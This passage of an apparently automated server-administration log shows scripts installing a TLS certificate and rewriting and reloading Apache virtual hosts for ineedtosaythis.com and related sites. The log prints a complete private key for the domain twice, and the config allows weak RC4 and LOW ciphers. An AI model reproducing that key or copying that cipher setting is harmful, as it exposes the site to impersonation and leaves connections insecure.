Upy5vuZNXRlQjPt9kLwCg4NBXAaPT9kmSv+F4Hyu5EtFI5Z6dqM/WOgU55C5nNwO
q6edTzPNbmNxkp/05vyH9NHNcNFPvLkQDD1xmhqmevQKKdwNFELaDfFp7ihoWgva
PjOWArbnvN34ZPgQqLG4wSGYm8+sMadBbafUbCiBfSjNqx+pDUUqV4w3GjCieD3e
cOBvDM2ZQg4Id0s6KmmnlQItDR3UGtOYRDkS1U7gN273P71ODEdnbILddGxnEljV
RSvhYZIAUT/JSp2vZXA2THZeyAB7AgMBAAGjggI4MIICNDAOBgNVHQ8BAf8EBAMC
BaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQU
/d6gJysHUZ/toJz30HvXmfLsKKYwHwYDVR0jBBgwFoAUALUp8i2ObzHom0yteD76
3OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEyLmku
bGVuY3Iub3JnLzA1BgNVHREELjAsghJpbmVlZHRvc2F5dGhpcy5jb22CFnd3dy5p
bmVlZHRvc2F5dGhpcy5jb20wEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcw
JTAjoCGgH4YdaHR0cDovL3IxMi5jLmxlbmNyLm9yZy8yMi5jcmwwggEMBgorBgEE
AdZ5AgQCBIH9BIH6APgAdgCvZ4g7V7BO3Y+m2X72LqjrgQrHcWDwJF5V1gwv54WH
OgAAAZ1w1CMgAAAEAwBHMEUCIAOjlyp5XFpn9CBB2B98BRrk7evaIj4dnk9uYoyc
aBwYAiEAmuxeypSMWVLqkaU7fFADwmu5MJp3Yc4rS/gtvz0iDKIAfgCoJsvjCsY1
EkZTP+Bl8U8Z2W4ZCBPEHdlteQCzEjxVJwAAAZ1w1CTSAAgAAAUABjAERAQDAEcw
RQIhALJauEL7MCPYGf58cGFCMmTaTMs3FsFaIdaC/FEVOTsgAiA1jQJ0InvdW5Hw
4aJM5qdbGBuLd+7CbtjQlk81aSOjzTANBgkqhkiG9w0BAQsFAAOCAQEAnxbHC2sQ
TbRTaGEFpr11bbdS0u+xZKt2xXf96KYZFBtRg4C2burAPKDYaGRz8QRq8iDVasmn
GBut166/7DkQdeB9vSd98IvgLsiZbDcmkkIs+BJ7ONoy6npBy9Z+VgH4rfDw98Ee
lkxQ2C5rVaqdq0DUB8HOQym+E0jBp8XDMxYPumKT5/OuQxx/Q2b4K0iiiG8fchc5
0xy2JAWqq6wGmQ6ywSu/bJbQHGPnwrXaPDbasOKipHOBCGcSjxJtEPmtll8xwZkZ
BJIYRo+xompx5U/d1Oe6Fb+yRWSmPM4XIjPneionesPjZnKQrnPS90Z2k6wVlfKz
QGq5r1uERF9qMg==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCcmEIHeov2tcpC
vwfiRdqQmSlQiKez/N1117dofqCscEdxHSuCo7SDBLktUpy5vuZNXRlQjPt9kLwC
g4NBXAaPT9kmSv+F4Hyu5EtFI5Z6dqM/WOgU55C5nNwOq6edTzPNbmNxkp/05vyH
9NHNcNFPvLkQDD1xmhqmevQKKdwNFELaDfFp7ihoWgvaPjOWArbnvN34ZPgQqLG4
wSGYm8+sMadBbafUbCiBfSjNqx+pDUUqV4w3GjCieD3ecOBvDM2ZQg4Id0s6Kmmn
lQItDR3UGtOYRDkS1U7gN273P71ODEdnbILddGxnEljVRSvhYZIAUT/JSp2vZXA2
THZeyAB7AgMBAAECggEANu8I1tPMLt+GFVUrgFrN+kToo+pUnoT58aGboyos1mFL
BqjbfyhLplytU3N0LIsGAqTCwSm7/cgc1GrrTC3q1TKHNHJB4mamhrnql9YMr2hY
C1x2igLUF/Epl3HrSnmi7BGqDAkKWSEA/PbK9N17aBQF/dW1ZllPuRBP9RLLMcDZ
KgFaU7JaRcySgBHrpAQAIaVXUviMYpmqbHZKpEa8sesPZJdUkjXJUqljD5UExKkt
+GyH1UHhITDu8WmyLLjmB5krhmhE8XUxTCTPd0ojBlrYXhdzljD0JfwM2WF5kGVl
aJft3W7yPhRf4VNAjM1gmCrgZYWlwWg/fAD4JPEr9QKBgQDdEkrFtUuRl9JT3DbK
0dQpUjjENZbsSJLij+1XCWJsT/ysHymYO5qZqXiOqnB7CaquG3IdEweuhYzYsIVe
/vBmJPH+IhIpeyPXEY70OPb5t2g/lhyR6FfkscGU0S+pYLG7Mt0iEE5gLqDpFaRx
G2v2giaYYb2IGP27zmL3sdM7xwKBgQC1VhFkAPgmrAUlXsKGjDXEVVhZ9ktwcjpa
qGNK98n/xyDW/lBdA0hAYw8OL/HEE7rn+EI5n2sT28/wuEKTNdoFEh8tjT024i7b
N1MV3/slb/BgB+FccVd35ol2eWTPfLN1IMk7DK/uT73q/pQK5+wMkv1M2wPuV2tz
7mbLtASNrQKBgQCWV29EP0PSEpa18yfMDKClLUZvoSYvMDe8HjdBHp+xmz/xagvm
fHpqD8dt9lkiQ3Owjfev8BYkSKx9XKaG8QdZ37w2oMMLNLQt+cHnMqo7LtCVlad+
Tq0fWQeWBiDMpnaYIUIjfUVfwbYqbU50oTpt3RsUPDwhxyUfSH8jhepqVwKBgANE
ismvjsk7nlgfDghYrHteQlpUquVa2ZxanndyYax/TSMysAYNEhc+8b2Ctauf42Vc
vuzE56wS8PtYhrKabNRckD1E505+4vNGWvPw9lilXMKOQcxlqnrZp65/34YxrBY3
QgkTYHQ98aEzdz1/EmzjlTb2V2rLHn+XUzjmhJJ9AoGAaPsBlQnnAlwzIVTzCfZI
4m5nJLE1RUwfUG7B7Ja6sCwboWF+5ufQk7YW5RB4TA1Y7FLLdaN8Z+/isVwgvYdU
2cj1Canp/ereYM6udTWgGwJQ2nRZ/SRqlSkDjxUJFKcNLp+vVdi74kSSem1wgwVy
7vna6hUrx80hxP9w40YIDXg=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-04-09 06:00:45: 

chmod 755 /tmp/pkp251991; /tmp/pkp251991; rm /tmp/pkp251991

2026-04-09 06:00:45: 


dir=/etc/ssl/certs


2026-04-09 06:00:45: 

PUT: /tmp/pkp270820

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-04-09 06:00:45: 

chmod 755 /tmp/pkp270820; /tmp/pkp270820; rm /tmp/pkp270820

2026-04-09 06:00:45: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf 46

<VirtualHost *:80>
    ServerName	ineedtosaythis.com
    ServerAlias	www.ineedtosaythis.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/ineedtosaythis_www
    <Directory /var/www/ineedtosaythis_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/ineedtosaythis/www_access.log combined
    ErrorLog	/var/log/apache2/ineedtosaythis/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	ineedtosaythis.com
    ServerAlias	www.ineedtosaythis.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/30544cb98a5f34c59eb0febd8752cfa0.crt
    DocumentRoot	/var/www/ineedtosaythis_www
    <Directory /var/www/ineedtosaythis_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/ineedtosaythis/www_secure_access.log combined
    ErrorLog	/var/log/apache2/ineedtosaythis/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-04-09 06:00:45: 

PUT: /tmp/pkp204907

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=ineedtosaythis_www_com.conf
TARGET=/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	ineedtosaythis.com
    ServerAlias	www.ineedtosaythis.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/ineedtosaythis_www
    <Directory /var/www/ineedtosaythis_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/ineedtosaythis/www_access.log combined
    ErrorLog	/var/log/apache2/ineedtosaythis/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	ineedtosaythis.com
    ServerAlias	www.ineedtosaythis.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/30544cb98a5f34c59eb0febd8752cfa0.crt
    DocumentRoot	/var/www/ineedtosaythis_www
    <Directory /var/www/ineedtosaythis_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/ineedtosaythis/www_secure_access.log combined
    ErrorLog	/var/log/apache2/ineedtosaythis/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/ineedtosaythis_www_com.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf)= /etc/apache2//etc/apache2/sites-enabled/ineedtosaythis_www_com.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/ineedtosaythis_www_com.conf= 1'
fi


2026-04-09 06:00:45: 

chmod 755 /tmp/pkp204907; /tmp/pkp204907; rm /tmp/pkp204907

2026-04-09 06:00:45: 




2026-04-09 06:00:45: 

PUT: /tmp/pkp649194

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-04-09 06:00:45: 

chmod 755 /tmp/pkp649194; /tmp/pkp649194; rm /tmp/pkp649194

2026-04-09 06:00:45: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-04-09 06:00:45: Establishing a connection
2026-04-09 06:00:46: 

PUT: /tmp/pkp122318

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-04-09 06:00:46: 

chmod 755 /tmp/pkp122318; /tmp/pkp122318; rm /tmp/pkp122318

2026-04-09 06:00:46: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
                 alias www.bucketgigs.ca
         port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
                 alias www.dgmarshall.ca
         port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
                 alias www.dgmarshall.com
         port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
         port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
         port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
         port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
         port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
         port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
         port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
                 alias www.drewmarshall.ca
         port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
                 alias www.hillrunfarm.ca
         port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
                 alias www.ineedtosaythis.com
         port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
*:443                  is a NameVirtualHost
         default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
         port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
                 alias www.bucketgigs.ca
         port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
                 alias www.dgmarshall.ca
         port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
                 alias www.dgmarshall.com
         port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
         port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
         port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
         port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
         port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
         port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
         port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
                 alias www.drewmarshall.ca
         port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
                 alias www.hillrunfarm.ca
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
         port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
                 alias www.ineedtosaythis.com
         port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-04-09 06:00:46: 

PUT: /tmp/pkp406693

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-09 06:00:46: 

chmod 755 /tmp/pkp406693; /tmp/pkp406693; rm /tmp/pkp406693

2026-04-09 06:00:46: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf	1310

<VirtualHost *:80>
    ServerName	ineedtosaythis.com
    ServerAlias	www.ineedtosaythis.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/ineedtosaythis_www
    <Directory /var/www/ineedtosaythis_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/ineedtosaythis/www_access.log combined
    ErrorLog	/var/log/apache2/ineedtosaythis/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	ineedtosaythis.com
    ServerAlias	www.ineedtosaythis.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/30544cb98a5f34c59eb0febd8752cfa0.crt
    DocumentRoot	/var/www/ineedtosaythis_www
    <Directory /var/www/ineedtosaythis_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/ineedtosaythis/www_secure_access.log combined
    ErrorLog	/var/log/apache2/ineedtosaythis/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-04-09 06:00:46: 

PUT: /tmp/pkp514456

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/30544cb98a5f34c59eb0febd8752cfa0.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-09 06:00:46: 

chmod 755 /tmp/pkp514456; /tmp/pkp514456; rm /tmp/pkp514456

2026-04-09 06:00:46: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/30544cb98a5f34c59eb0febd8752cfa0.crt	5386
dc:f1:11:cc:b6:e6:a9:a9:d1:dc:28:81:ce:19:cb:41

-----BEGIN CERTIFICATE-----
MIIFFjCCA/6gAwIBAgISBgFTAZ3ND4hTHcfapWdOTwuVMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNDA5MDUwMjEzWhcNMjYwNzA4MDUwMjEyWjAdMRswGQYDVQQD
ExJpbmVlZHRvc2F5dGhpcy5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQCcmEIHeov2tcpCvwfiRdqQmSlQiKez/N1117dofqCscEdxHSuCo7SDBLkt
Upy5vuZNXRlQjPt9kLwCg4NBXAaPT9kmSv+F4Hyu5EtFI5Z6dqM/WOgU55C5nNwO
q6edTzPNbmNxkp/05vyH9NHNcNFPvLkQDD1xmhqmevQKKdwNFELaDfFp7ihoWgva
PjOWArbnvN34ZPgQqLG4wSGYm8+sMadBbafUbCiBfSjNqx+pDUUqV4w3GjCieD3e
cOBvDM2ZQg4Id0s6KmmnlQItDR3UGtOYRDkS1U7gN273P71ODEdnbILddGxnEljV
RSvhYZIAUT/JSp2vZXA2THZeyAB7AgMBAAGjggI4MIICNDAOBgNVHQ8BAf8EBAMC
BaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQU
/d6gJysHUZ/toJz30HvXmfLsKKYwHwYDVR0jBBgwFoAUALUp8i2ObzHom0yteD76
3OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEyLmku
bGVuY3Iub3JnLzA1BgNVHREELjAsghJpbmVlZHRvc2F5dGhpcy5jb22CFnd3dy5p
bmVlZHRvc2F5dGhpcy5jb20wEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcw
JTAjoCGgH4YdaHR0cDovL3IxMi5jLmxlbmNyLm9yZy8yMi5jcmwwggEMBgorBgEE
AdZ5AgQCBIH9BIH6APgAdgCvZ4g7V7BO3Y+m2X72LqjrgQrHcWDwJF5V1gwv54WH
OgAAAZ1w1CMgAAAEAwBHMEUCIAOjlyp5XFpn9CBB2B98BRrk7evaIj4dnk9uYoyc
aBwYAiEAmuxeypSMWVLqkaU7fFADwmu5MJp3Yc4rS/gtvz0iDKIAfgCoJsvjCsY1
EkZTP+Bl8U8Z2W4ZCBPEHdlteQCzEjxVJwAAAZ1w1CTSAAgAAAUABjAERAQDAEcw
RQIhALJauEL7MCPYGf58cGFCMmTaTMs3FsFaIdaC/FEVOTsgAiA1jQJ0InvdW5Hw
4aJM5qdbGBuLd+7CbtjQlk81aSOjzTANBgkqhkiG9w0BAQsFAAOCAQEAnxbHC2sQ
TbRTaGEFpr11bbdS0u+xZKt2xXf96KYZFBtRg4C2burAPKDYaGRz8QRq8iDVasmn
GBut166/7DkQdeB9vSd98IvgLsiZbDcmkkIs+BJ7ONoy6npBy9Z+VgH4rfDw98Ee
lkxQ2C5rVaqdq0DUB8HOQym+E0jBp8XDMxYPumKT5/OuQxx/Q2b4K0iiiG8fchc5
0xy2JAWqq6wGmQ6ywSu/bJbQHGPnwrXaPDbasOKipHOBCGcSjxJtEPmtll8xwZkZ
BJIYRo+xompx5U/d1Oe6Fb+yRWSmPM4XIjPneionesPjZnKQrnPS90Z2k6wVlfKz
QGq5r1uERF9qMg==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCcmEIHeov2tcpC
vwfiRdqQmSlQiKez/N1117dofqCscEdxHSuCo7SDBLktUpy5vuZNXRlQjPt9kLwC
g4NBXAaPT9kmSv+F4Hyu5EtFI5Z6dqM/WOgU55C5nNwOq6edTzPNbmNxkp/05vyH
9NHNcNFPvLkQDD1xmhqmevQKKdwNFELaDfFp7ihoWgvaPjOWArbnvN34ZPgQqLG4
wSGYm8+sMadBbafUbCiBfSjNqx+pDUUqV4w3GjCieD3ecOBvDM2ZQg4Id0s6Kmmn
lQItDR3UGtOYRDkS1U7gN273P71ODEdnbILddGxnEljVRSvhYZIAUT/JSp2vZXA2
THZeyAB7AgMBAAECggEANu8I1tPMLt+GFVUrgFrN+kToo+pUnoT58aGboyos1mFL
BqjbfyhLplytU3N0LIsGAqTCwSm7/cgc1GrrTC3q1TKHNHJB4mamhrnql9YMr2hY
C1x2igLUF/Epl3HrSnmi7BGqDAkKWSEA/PbK9N17aBQF/dW1ZllPuRBP9RLLMcDZ
KgFaU7JaRcySgBHrpAQAIaVXUviMYpmqbHZKpEa8sesPZJdUkjXJUqljD5UExKkt
+GyH1UHhITDu8WmyLLjmB5krhmhE8XUxTCTPd0ojBlrYXhdzljD0JfwM2WF5kGVl
aJft3W7yPhRf4VNAjM1gmCrgZYWlwWg/fAD4JPEr9QKBgQDdEkrFtUuRl9JT3DbK
0dQpUjjENZbsSJLij+1XCWJsT/ysHymYO5qZqXiOqnB7CaquG3IdEweuhYzYsIVe
/vBmJPH+IhIpeyPXEY70OPb5t2g/lhyR6FfkscGU0S+pYLG7Mt0iEE5gLqDpFaRx
